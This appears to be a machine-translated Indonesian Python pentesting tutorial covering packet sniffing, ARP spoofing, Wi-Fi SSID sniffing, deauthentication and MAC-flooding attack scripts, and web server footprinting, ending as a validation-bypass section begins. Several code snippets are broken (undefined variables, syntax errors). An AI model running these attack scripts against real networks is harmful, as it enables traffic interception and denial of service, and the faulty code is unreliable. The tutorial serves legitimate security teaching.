Protokol seperti tried and true TCP/IPtidak pernah dirancang dengan mengutamakan keamanan. Protokol semacam itu tidak menawarkan banyak perlawanan terhadap calon penyusup. Berikut ini adalah protokol berbeda yang memudahkan sniffing -

HTTP

Ini digunakan untuk mengirim informasi dalam teks yang jelas tanpa enkripsi apa pun dan dengan demikian menjadi target nyata.

SMTP (Simple Mail Transfer Protocol)

SMTP digunakan dalam transfer email. Protokol ini efisien, tetapi tidak menyertakan perlindungan apa pun terhadap sniffing.

NNTP (Network News Transfer Protocol)

Ini digunakan untuk semua jenis komunikasi. Kelemahan utama dari hal ini adalah data dan bahkan kata sandi dikirim melalui jaringan sebagai teks yang jelas.

POP (Protokol Kantor Pos)

POP secara ketat digunakan untuk menerima email dari server. Protokol ini tidak menyertakan perlindungan terhadap sniffing karena dapat terjebak.

FTP (Protokol Transfer File)

FTP digunakan untuk mengirim dan menerima file, tetapi tidak menawarkan fitur keamanan apa pun. Semua data dikirim sebagai teks yang jelas yang dapat dengan mudah diendus.

IMAP (Protokol Akses Pesan Internet)

IMAP sama dengan SMTP dalam fungsinya, namun sangat rentan terhadap sniffing.

Telnet

Telnet mengirimkan semuanya (nama pengguna, kata sandi, penekanan tombol) melalui jaringan sebagai teks yang jelas dan karenanya, dapat dengan mudah diendus.

Sniffer bukanlah utilitas bodoh yang memungkinkan Anda untuk hanya melihat lalu lintas langsung. Jika Anda benar-benar ingin menganalisis setiap paket, simpan tangkapannya dan tinjau kapan pun waktu memungkinkan.

Implementasinya menggunakan Python

Sebelum menerapkan sniffer soket mentah, mari kita pahami struct metode seperti yang dijelaskan di bawah ini -

struct.pack (fmt, a1, a2,…)

Seperti namanya, metode ini digunakan untuk mengembalikan string, yang dikemas sesuai dengan format yang diberikan. String tersebut berisi nilai a1, a2 dan seterusnya.

struct.unpack (fmt, string)

Seperti namanya, metode ini membongkar string sesuai dengan format yang diberikan.

Dalam contoh berikut dari header IP sniffer soket mentah, yang merupakan 20 byte berikutnya dalam paket dan di antara 20 byte ini kami tertarik pada 8 byte terakhir. Byte terakhir menunjukkan jika alamat IP sumber dan tujuan sedang diurai -

Sekarang, kita perlu mengimpor beberapa modul dasar sebagai berikut -

import socket
import struct
import binascii

Sekarang, kita akan membuat soket, yang akan memiliki tiga parameter. Parameter pertama memberitahu kita tentang antarmuka paket - PF_PACKET untuk Linux khusus dan AF_INET untuk windows; parameter kedua memberitahu kita bahwa itu adalah soket mentah dan parameter ketiga memberitahu kita tentang protokol yang kita minati —0x0800 digunakan untuk protokol IP.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

Sekarang, kita perlu memanggil recvfrom() metode untuk menerima paket.

while True:
   packet = s.recvfrom(2048)

Di baris kode berikut, kami merobek header Ethernet -

ethernet_header = packet[0][0:14]

Dengan baris kode berikut, kami mem-parsing dan membongkar header dengan struct metode -

eth_header = struct.unpack("!6s6s2s", ethernet_header)

Baris kode berikut akan mengembalikan tupel dengan tiga nilai hex, yang diubah oleh hexify dalam binascii modul -

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

Sekarang kita bisa mendapatkan header IP dengan menjalankan baris kode berikut -

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

Demikian pula, kami juga dapat mengurai header TCP.

ARP dapat didefinisikan sebagai protokol tanpa negara yang digunakan untuk memetakan alamat Internet Protocol (IP) ke alamat mesin fisik.

Bekerja dari ARP

Pada bagian ini, kita akan belajar tentang cara kerja ARP. Pertimbangkan langkah-langkah berikut untuk memahami cara kerja ARP -

  • Step 1 - Pertama, ketika mesin ingin berkomunikasi dengan yang lain, mesin harus mencari ke tabel ARP-nya untuk alamat fisik.

  • Step 2 - Jika menemukan alamat fisik mesin, paket setelah diubah ke panjang yang tepat, akan dikirim ke mesin yang diinginkan

  • Step 3 - Tetapi jika tidak ada entri yang ditemukan untuk alamat IP dalam tabel, ARP_request akan disiarkan melalui jaringan.

  • Step 4- Sekarang, semua mesin di jaringan akan membandingkan alamat IP yang disiarkan dengan alamat MAC dan jika salah satu mesin di jaringan mengidentifikasi alamat tersebut, ia akan menanggapi ARP_request bersama dengan alamat IP dan MAC-nya. Pesan ARP tersebut disebut ARP_reply.

  • Step 5 - Akhirnya, mesin yang mengirimkan permintaan akan menyimpan pasangan alamat dalam tabel ARP-nya dan seluruh komunikasi akan berlangsung.

Apa itu ARP Spoofing?

Ini dapat didefinisikan sebagai jenis serangan di mana aktor jahat mengirimkan permintaan ARP palsu melalui jaringan area lokal. ARP Poisoning juga dikenal sebagai ARP Spoofing. Itu dapat dipahami dengan bantuan poin-poin berikut -

  • Spoofing ARP pertama, untuk membebani sakelar, akan membuat sejumlah besar permintaan ARP yang dipalsukan dan paket balasan.

  • Kemudian sakelar akan diatur dalam mode penerusan.

  • Sekarang, tabel ARP akan dibanjiri dengan tanggapan ARP palsu, sehingga penyerang dapat mengendus semua paket jaringan.

Implementasinya menggunakan Python

Pada bagian ini, kita akan memahami implementasi spoofing ARP Python. Untuk ini, kami memerlukan tiga alamat MAC - pertama korban, kedua penyerang, dan ketiga gateway. Bersamaan dengan itu, kita juga perlu menggunakan kode protokol ARP.

Mari kita impor modul yang diperlukan sebagai berikut -

import socket
import struct
import binascii

Sekarang, kita akan membuat soket, yang akan memiliki tiga parameter. Parameter pertama memberi tahu kita tentang antarmuka paket (PF_PACKET untuk Linux khusus dan AF_INET untuk windows), parameter kedua memberi tahu kita jika itu adalah soket mentah dan parameter ketiga memberi tahu kita tentang protokol yang kita minati (di sini 0x0800 digunakan untuk IP protokol).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Kami sekarang akan memberikan alamat mac penyerang, korban dan mesin gateway -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Kita perlu memberikan kode protokol ARP seperti yang ditunjukkan -

code ='\x08\x06'

Dua paket Ethernet, satu untuk mesin korban dan satu lagi untuk mesin gateway telah dibuat sebagai berikut -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Baris kode berikut diurutkan sesuai dengan header ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Sekarang kita perlu memberikan alamat IP dari mesin gateway dan mesin korban (Anggaplah kita memiliki alamat IP berikut untuk mesin gateway dan korban) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Ubah alamat IP di atas ke format heksadesimal dengan bantuan file socket.inet_aton() metode.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Jalankan baris kode berikut untuk mengubah alamat IP mesin gateway.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementasi menggunakan Scapy di Kali Linux

Spoofing ARP dapat diimplementasikan menggunakan Scapy di Kali Linux. Ikuti langkah-langkah ini untuk melakukan hal yang sama -

Langkah 1: Alamat mesin penyerang

Pada langkah ini, kita akan menemukan alamat IP mesin penyerang dengan menjalankan perintah ifconfig pada command prompt Kali Linux.

Langkah 2: Alamat mesin target

Pada langkah ini, kita akan menemukan alamat IP mesin target dengan menjalankan perintah ifconfig pada command prompt Kali Linux, yang perlu kita buka di mesin virtual lain.

Langkah 3: Ping mesin target

Pada langkah ini, kita perlu melakukan ping ke mesin target dari mesin penyerang dengan bantuan perintah berikut -

Ping –c 192.168.43.85(say IP address of target machine)

Langkah 4: Cache ARP pada mesin target

Kita sudah tahu bahwa dua mesin menggunakan paket ARP untuk bertukar alamat MAC maka setelah langkah 3, kita dapat menjalankan perintah berikut pada mesin target untuk melihat cache ARP -

arp -n

Langkah 5: Pembuatan paket ARP menggunakan Scapy

Kami dapat membuat paket ARP dengan bantuan Scapy sebagai berikut -

scapy
arp_packt = ARP()
arp_packt.display()

Langkah 6: Mengirim paket ARP berbahaya menggunakan Scapy

Kami dapat mengirim paket ARP berbahaya dengan bantuan Scapy sebagai berikut -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Sekarang jika kita akan memeriksa cache ARP lagi pada mesin target maka kita akan melihat alamat palsu '1.1.1.1'.

Sistem nirkabel hadir dengan banyak fleksibilitas tetapi di sisi lain, ini juga menyebabkan masalah keamanan yang serius. Dan, bagaimana ini menjadi masalah keamanan yang serius - karena penyerang, dalam hal konektivitas nirkabel, hanya perlu memiliki ketersediaan sinyal untuk menyerang daripada memiliki akses fisik seperti dalam kasus jaringan kabel. Pengujian penetrasi sistem nirkabel adalah tugas yang lebih mudah daripada melakukannya di jaringan kabel. Kami tidak dapat benar-benar menerapkan langkah-langkah keamanan fisik yang baik terhadap media nirkabel, jika kami berada cukup dekat, kami akan dapat "mendengar" (atau setidaknya adaptor nirkabel Anda dapat mendengar) semuanya, yang mengalir di udara.

Prasyarat

Sebelum kita mulai mempelajari lebih lanjut tentang pentesting jaringan nirkabel, mari kita pertimbangkan untuk membahas terminologi dan proses komunikasi antara klien dan sistem nirkabel.

Terminologi Penting

Mari kita sekarang mempelajari terminologi penting yang berkaitan dengan pentesting jaringan nirkabel.

Titik Akses (AP)

Titik akses (AP) adalah simpul pusat dalam implementasi nirkabel 802.11. Titik ini digunakan untuk menghubungkan pengguna ke pengguna lain dalam jaringan dan juga dapat berfungsi sebagai titik interkoneksi antara LAN nirkabel (WLAN) dan jaringan kabel tetap. Dalam WLAN, AP adalah stasiun yang mengirimkan dan menerima data.

Service Set Identifier (SSID)

Ini adalah string teks yang dapat dibaca manusia sepanjang 0-32 byte yang pada dasarnya adalah nama yang diberikan ke jaringan nirkabel. Semua perangkat di jaringan harus menggunakan nama yang peka huruf besar / kecil ini untuk berkomunikasi melalui jaringan nirkabel (Wi-Fi).

Identifikasi Set Layanan Dasar (BSSID)

Ini adalah alamat MAC dari chipset Wi-Fi yang berjalan pada titik akses nirkabel (AP). Itu dibuat secara acak.

Nomor Saluran

Ini mewakili rentang frekuensi radio yang digunakan oleh Access Point (AP) untuk transmisi.

Komunikasi antara klien dan sistem nirkabel

Hal penting lainnya yang perlu kita pahami adalah proses komunikasi antara klien dan sistem nirkabel. Dengan bantuan diagram berikut, kita dapat memahami hal yang sama -

Bingkai Suar

Dalam proses komunikasi antara klien dan titik akses, AP secara berkala mengirimkan bingkai suar untuk menunjukkan keberadaannya. Frame ini dilengkapi dengan informasi terkait SSID, BSSID dan nomor saluran.

Permintaan Probe

Sekarang, perangkat klien akan mengirimkan permintaan probe untuk memeriksa AP dalam jangkauan. Setelah mengirimkan permintaan probe, maka akan menunggu respon probe dari AP. Permintaan Probe berisi informasi seperti SSID AP, info khusus vendor, dll.

Respons Probe

Sekarang, setelah mendapatkan permintaan probe, AP akan mengirimkan respon probe, yang berisi informasi seperti kecepatan data yang didukung, kemampuan, dll.

Permintaan Otentikasi

Sekarang, perangkat klien akan mengirimkan bingkai permintaan otentikasi yang berisi identitasnya.

Respon Otentikasi

Sekarang sebagai tanggapan, AP akan mengirimkan bingkai tanggapan otentikasi yang menunjukkan penerimaan atau penolakan.

Permintaan Asosiasi

Ketika otentikasi berhasil, perangkat klien telah mengirim bingkai permintaan asosiasi yang berisi kecepatan data yang didukung dan SSID AP.

Tanggapan Asosiasi

Sekarang sebagai tanggapan, AP akan mengirimkan kerangka tanggapan asosiasi yang menunjukkan penerimaan atau penolakan. ID asosiasi dari perangkat klien akan dibuat jika diterima.

Menemukan Wireless Service Set Identifier (SSID) menggunakan Python

Kami dapat mengumpulkan informasi tentang SSID dengan bantuan metode soket mentah serta dengan menggunakan perpustakaan Scapy.

Metode soket mentah

Kami telah mempelajarinya mon0menangkap paket nirkabel; jadi, kita perlu mengatur mode monitor kemon0. Di Kali Linux, itu bisa dilakukan dengan bantuanairmon-ngnaskah. Setelah menjalankan skrip ini, ini akan memberi nama pada kartu nirkabelwlan1. Sekarang dengan bantuan perintah berikut, kita perlu mengaktifkan mode monitormon0 -

airmon-ng start wlan1

Berikut ini adalah metode soket mentah, skrip Python, yang akan memberi kita SSID dari AP -

Pertama-tama kita perlu mengimpor modul soket sebagai berikut -

import socket

Sekarang, kita akan membuat soket yang memiliki tiga parameter. Parameter pertama memberitahu kita tentang antarmuka paket (PF_PACKET untuk Linux khusus dan AF_INET untuk windows), parameter kedua memberitahu kita apakah itu soket mentah dan parameter ketiga memberitahu kita bahwa kita tertarik pada semua paket.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Sekarang, baris berikutnya akan mengikat file mon0 mode dan 0x0003.

s.bind(("mon0", 0x0003))

Sekarang, kita perlu mendeklarasikan daftar kosong, yang akan menyimpan SSID AP.

ap_list = []

Sekarang, kita perlu memanggil recvfrom()metode untuk menerima paket. Untuk melanjutkan sniffing, kita akan menggunakan while loop yang tak terbatas.

while True:
   packet = s.recvfrom(2048)

Baris kode berikutnya menunjukkan jika frame adalah 8 bit yang menunjukkan bingkai suar.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

SSID sniffer dengan Scapy

Scapy adalah salah satu pustaka terbaik yang memungkinkan kita mengendus paket Wi-Fi dengan mudah. Anda dapat mempelajari Scapy secara detail dihttps://scapy.readthedocs.io/en/latest/. Untuk memulainya, jalankan Sacpy dalam mode interaktif dan gunakan perintah conf untuk mendapatkan nilai iface. Antarmuka default adalah eth0. Sekarang karena kita memiliki kubah di atas, kita perlu mengubah mode ini ke mon0. Itu dapat dilakukan sebagai berikut -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Mari kita sekarang mengimpor Scapy sebagai perpustakaan. Lebih lanjut, eksekusi skrip Python berikut akan memberi kita SSID -

from scapy.all import *

Sekarang, kita perlu mendeklarasikan daftar kosong yang akan menyimpan SSID AP.

ap_list = []

Sekarang kita akan mendefinisikan fungsi bernama Packet_info(), yang akan memiliki logika parsing paket lengkap. Ini akan memiliki argumen pkt.

def Packet_info(pkt) :

Dalam pernyataan berikutnya, kami akan menerapkan filter yang hanya akan lolos Dot11lalu lintas yang berarti lalu lintas 802.11. Baris berikutnya juga merupakan filter, yang melewati lalu lintas yang memiliki tipe frame 0 (mewakili frame manajemen) dan subtipe frame 8 (mewakili frame beacon).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Sekarang, fungsi sniff akan mengendus data dengan iface nilai mon0 (untuk paket nirkabel) dan aktifkan Packet_info fungsi.

sniff(iface = "mon0", prn = Packet_info)

Untuk mengimplementasikan skrip Python di atas, kita membutuhkan kartu Wi-Fi yang mampu mengendus udara menggunakan mode monitor.

Mendeteksi Klien Titik Akses

Untuk mendeteksi klien titik akses, kita perlu menangkap bingkai permintaan probe. Kita dapat melakukannya seperti yang telah kita lakukan pada skrip Python untuk sniffer SSID menggunakan Scapy. Kita perlu memberiDot11ProbeRequntuk menangkap bingkai permintaan probe. Berikut ini adalah skrip Python untuk mendeteksi klien titik akses -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Serangan Nirkabel

Dari perspektif pentester, sangat penting untuk memahami bagaimana serangan nirkabel terjadi. Di bagian ini, kita akan membahas dua jenis serangan nirkabel -

  • Serangan de-otentikasi (deauth)

  • Serangan MAC flooding

Serangan de-otentikasi (deauth)

Dalam proses komunikasi antara perangkat klien dan titik akses setiap kali klien ingin memutuskan sambungan, ia perlu mengirim bingkai pembatalan otentikasi. Menanggapi frame dari klien tersebut, AP juga akan mengirimkan frame de-otentikasi. Seorang penyerang bisa mendapatkan keuntungan dari proses normal ini dengan memalsukan alamat MAC korban dan mengirimkan bingkai pembatalan otentikasi ke AP. Karena ini koneksi antara klien dan AP terputus. Berikut ini adalah skrip Python untuk melakukan serangan de-otentikasi -

Mari kita mengimpor Scapy sebagai perpustakaan -

from scapy.all import *
import sys

Dua pernyataan berikut akan memasukkan alamat MAC dari AP dan korban masing-masing.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Sekarang, kita perlu membuat bingkai de-otentikasi. Itu dapat dibuat dengan menjalankan pernyataan berikut.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

Baris kode berikutnya mewakili jumlah paket yang dikirim; ini dia 500 dan interval antara dua paket.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Keluaran

Setelah dieksekusi, perintah di atas menghasilkan output berikut -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Ini diikuti dengan pembuatan bingkai deauth, yang kemudian dikirim ke titik akses atas nama klien. Ini akan membuat koneksi di antara mereka dibatalkan.

Pertanyaannya di sini adalah bagaimana kita mendeteksi serangan deauth dengan skrip Python. Eksekusi skrip Python berikut akan membantu mendeteksi serangan semacam itu -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

Dalam skrip di atas, pernyataan pkt.subtype == 12 menunjukkan bingkai deauth dan variabel I yang didefinisikan secara global menceritakan tentang jumlah paket.

Keluaran

Eksekusi skrip di atas menghasilkan output berikut -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Serangan banjir alamat MAC

Serangan banjir alamat MAC (CAM table flooding attack) adalah jenis serangan jaringan di mana penyerang yang terhubung ke port switch membanjiri antarmuka switch dengan jumlah frame Ethernet yang sangat besar dengan alamat MAC sumber palsu yang berbeda. The CAM Table Overflows terjadi ketika masuknya alamat MAC dibanjiri tabel dan ambang tabel CAM tercapai. Hal ini menyebabkan sakelar bertindak seperti hub, membanjiri jaringan dengan lalu lintas di semua port. Serangan semacam itu sangat mudah diluncurkan. Skrip Python berikut membantu meluncurkan serangan banjir CAM seperti itu -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Tujuan utama dari serangan semacam ini adalah untuk memeriksa keamanan sakelar. Kita perlu menggunakan keamanan port jika ingin mengurangi efek serangan MAC flooding.

Aplikasi web dan server web sangat penting bagi keberadaan online kami dan serangan yang diamati terhadapnya mencakup lebih dari 70% dari total serangan yang dicoba di Internet. Serangan ini mencoba mengubah situs web tepercaya menjadi situs berbahaya. Karena alasan ini, pengujian pena server web dan aplikasi web memainkan peran penting.

Pencetakan kaki dari server web

Mengapa kita perlu mempertimbangkan keamanan server web? Pasalnya, dengan pesatnya pertumbuhan industri e-commerce, target utama penyerang adalah web server. Untuk pentesting web server, kita harus tahu tentang web server, software hosting & sistem operasi beserta aplikasi yang berjalan di atasnya. Mengumpulkan informasi tentang web server disebut footprinting web server.

Di bagian selanjutnya, kita akan membahas berbagai metode untuk footprinting server web.

Metode untuk footprinting dari web server

Server web adalah perangkat lunak atau perangkat keras server yang didedikasikan untuk menangani permintaan dan melayani tanggapan. Ini adalah area utama bagi pentester untuk fokus saat melakukan pengujian penetrasi server web.

Sekarang mari kita bahas beberapa metode, diimplementasikan dengan Python, yang dapat dieksekusi untuk footprinting server web -

Menguji ketersediaan metode HTTP

Praktik yang sangat baik untuk penguji penetrasi adalah mulai dengan mendaftar berbagai metode HTTP yang tersedia. Berikut ini adalah skrip Python dengan bantuan yang dapat kita hubungkan ke server web target dan menghitung metode HTTP yang tersedia -

Untuk memulainya, kita perlu mengimpor perpustakaan permintaan -

import requests

Setelah mengimpor pustaka permintaan, buat larik metode HTTP, yang akan kita kirim. Kami akan menggunakan beberapa metode standar seperti 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' dan metode non-standar 'TEST' untuk memeriksa bagaimana server web dapat menangani input yang tidak terduga.

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

Baris kode berikut adalah loop utama dari skrip, yang akan mengirim paket HTTP ke server web dan mencetak metode dan kode status.

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

Baris selanjutnya akan menguji kemungkinan cross site tracing (XST) dengan mengirimkan metode TRACE.

if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

Setelah menjalankan script di atas untuk web server tertentu, kita akan mendapatkan 200 respon OK untuk metode tertentu yang diterima oleh web server. Kami akan mendapatkan respons 403 Forbidden jika server web secara eksplisit menolak metode tersebut. Setelah kami mengirimkan metode TRACE untuk pengujian cross site tracing (XST), kami akan mendapatkan405 Not Allowed tanggapan dari server web jika tidak kami akan mendapatkan pesan ‘Cross Site Tracing(XST) is possible’.

Pencetakan kaki dengan memeriksa header HTTP

Header HTTP ditemukan di kedua permintaan dan tanggapan dari server web. Mereka juga membawa informasi yang sangat penting tentang server. Itulah mengapa penguji penetrasi selalu tertarik untuk mengurai informasi melalui header HTTP. Berikut ini adalah skrip Python untuk mendapatkan informasi tentang header server web -

Untuk memulai, mari kita impor pustaka permintaan -

import requests

Kami perlu mengirim permintaan GET ke server web. Baris kode berikut membuat permintaan GET sederhana melalui pustaka permintaan.

request = requests.get('enter the URL')

Selanjutnya, kami akan membuat daftar tajuk yang Anda butuhkan informasinya.

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

Berikutnya adalah mencoba dan kecuali blok.

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

Setelah menjalankan skrip di atas untuk server web tertentu, kita akan mendapatkan informasi tentang header yang disediakan di daftar header. Jika tidak ada informasi untuk header tertentu maka akan muncul pesan 'No Details Found'. Anda juga dapat mempelajari lebih lanjut tentang bidang HTTP_header dari tautan -https://www.tutorialspoint.com/http/http_header_fields.htm.

Menguji konfigurasi server web yang tidak aman

Kita dapat menggunakan informasi header HTTP untuk menguji konfigurasi server web yang tidak aman. Dalam skrip Python berikut, kita akan menggunakan blok try / kecuali untuk menguji header server web yang tidak aman untuk jumlah URL yang disimpan dalam nama file tekswebsites.txt -

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')
   
   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')
      
   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')
      
   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')
      
   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

Footprinting dari Aplikasi Web

Di bagian sebelumnya, kita membahas footprinting dari server web. Demikian pula, footprinting aplikasi web juga dianggap penting dari sudut pandang penguji penetrasi.

Di bagian selanjutnya, kita akan belajar tentang metode berbeda untuk footprinting aplikasi web.

Metode untuk Footprinting dari Aplikasi Web

Aplikasi web adalah program klien-server, yang dijalankan oleh klien di server web. Ini adalah area kunci lain yang menjadi fokus pentester saat melakukan pengujian penetrasi aplikasi web.

Sekarang mari kita bahas metode berbeda, yang diimplementasikan dengan Python, yang dapat digunakan untuk footprinting aplikasi web -

Mengumpulkan informasi menggunakan parser BeautifulSoup

Misalkan kita ingin mengumpulkan semua hyperlink dari halaman web; kita dapat menggunakan pengurai bernama BeautifulSoup. Parser adalah pustaka Python untuk menarik data dari file HTML dan XML. Ini bisa digunakan denganurlib karena membutuhkan input (dokumen atau url) untuk membuat objek soup dan tidak dapat mengambil halaman web dengan sendirinya.

Untuk memulainya, mari kita impor paket yang diperlukan. Kami akan mengimpor urlib danBeautifulSoup. Ingat sebelum mengimpor BeautifulSoup, kita perlu menginstalnya.

import urllib
from bs4 import BeautifulSoup

Skrip Python yang diberikan di bawah ini akan mengumpulkan judul halaman web dan hyperlink -

Sekarang kita membutuhkan variabel yang dapat menyimpan URL website. Di sini, kami akan menggunakan variabel bernama 'url'. Kami juga akan menggunakanpage.read() fungsi yang dapat menyimpan halaman web dan menetapkan halaman web ke variabel html_page.

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()

Itu html_page akan diberikan sebagai input untuk membuat objek sop.

soup_object = BeautifulSoup(html_page)

Mengikuti dua baris akan mencetak nama judul dengan tag dan tanpa tag.

print soup_object.title
print soup_object.title.text

Baris kode yang ditunjukkan di bawah ini akan menyimpan semua hyperlink.

for link in soup_object.find_all('a'):
   print(link.get('href'))

Perebutan spanduk

Spanduk seperti pesan teks yang berisi informasi tentang server dan perampasan spanduk adalah proses mengambil informasi yang disediakan oleh spanduk itu sendiri. Sekarang, kita perlu tahu bagaimana spanduk ini dibuat. Ini dihasilkan oleh header dari paket yang dikirim. Dan saat klien mencoba menyambung ke port, server merespons karena header berisi informasi tentang server.

Skrip Python berikut membantu mengambil spanduk menggunakan pemrograman soket -

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

Setelah menjalankan skrip di atas, kita akan mendapatkan informasi yang serupa tentang header seperti yang kita dapatkan dari skrip Python tentang footprinting header HTTP di bagian sebelumnya.

Dalam bab ini, kita akan mempelajari bagaimana validasi membantu dalam Python Pentesting.

Tujuan utama validasi adalah untuk menguji dan memastikan bahwa pengguna telah memberikan informasi yang diperlukan dan diformat dengan benar yang diperlukan untuk berhasil menyelesaikan operasi.

Ada dua jenis validasi -

  • validasi sisi klien (browser web)
  • validasi sisi server

Validasi sisi server & Validasi sisi klien

Validasi input pengguna yang berlangsung di sisi server selama sesi posting kembali dipanggil server-side validation. Bahasa seperti PHP dan ASP.Net menggunakan validasi sisi server. Setelah proses validasi di sisi server selesai, umpan balik dikirim kembali ke klien dengan membuat halaman web baru dan dinamis. Dengan bantuan validasi sisi server, kita bisa mendapatkan perlindungan dari pengguna jahat.

Di sisi lain, validasi input pengguna yang terjadi di sisi klien disebut validasi sisi klien. Bahasa skrip seperti JavaScript dan VBScript digunakan untukclient-side validation. Dalam jenis validasi ini, semua validasi input pengguna dilakukan hanya di browser pengguna. Ini tidak begitu aman seperti validasi sisi server karena peretas dapat dengan mudah melewati bahasa skrip sisi klien kami dan mengirimkan masukan berbahaya ke server.

Parameter sisi klien temper: Bypass Validasi

Penerusan parameter dalam protokol HTTP dapat dilakukan dengan bantuan metode POST dan GET. GET digunakan untuk meminta data dari sumber daya tertentu dan POST digunakan untuk mengirim data ke server untuk membuat atau memperbarui sumber daya. Salah satu perbedaan utama antara kedua metode ini adalah jika situs web menggunakan metode GET, maka parameter yang lewat akan ditampilkan di URL dan kita dapat mengubah parameter ini dan meneruskannya ke server web. Misalnya, string kueri (pasangan nama / nilai) dikirim dalam URL permintaan GET:/test/hello_form.php?name1 = value1&name2 = value2. Di sisi lain, parameter tidak ditampilkan saat menggunakan metode POST. Data yang dikirim ke server dengan POST disimpan di badan permintaan permintaan HTTP. Misalnya, POST/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.

Modul Python untuk Bypass Validasi

Modul Python yang akan kita gunakan adalah mechanize. Ini adalah browser web Python, yang menyediakan fasilitas untuk mendapatkan formulir web di halaman web dan memfasilitasi pengiriman nilai input juga. Dengan bantuan mekanisasi, kita dapat melewati validasi dan mengatur parameter sisi klien. Namun, sebelum mengimpornya dalam skrip Python kami, kami perlu menginstalnya dengan menjalankan perintah berikut -

pip install mechanize

Contoh

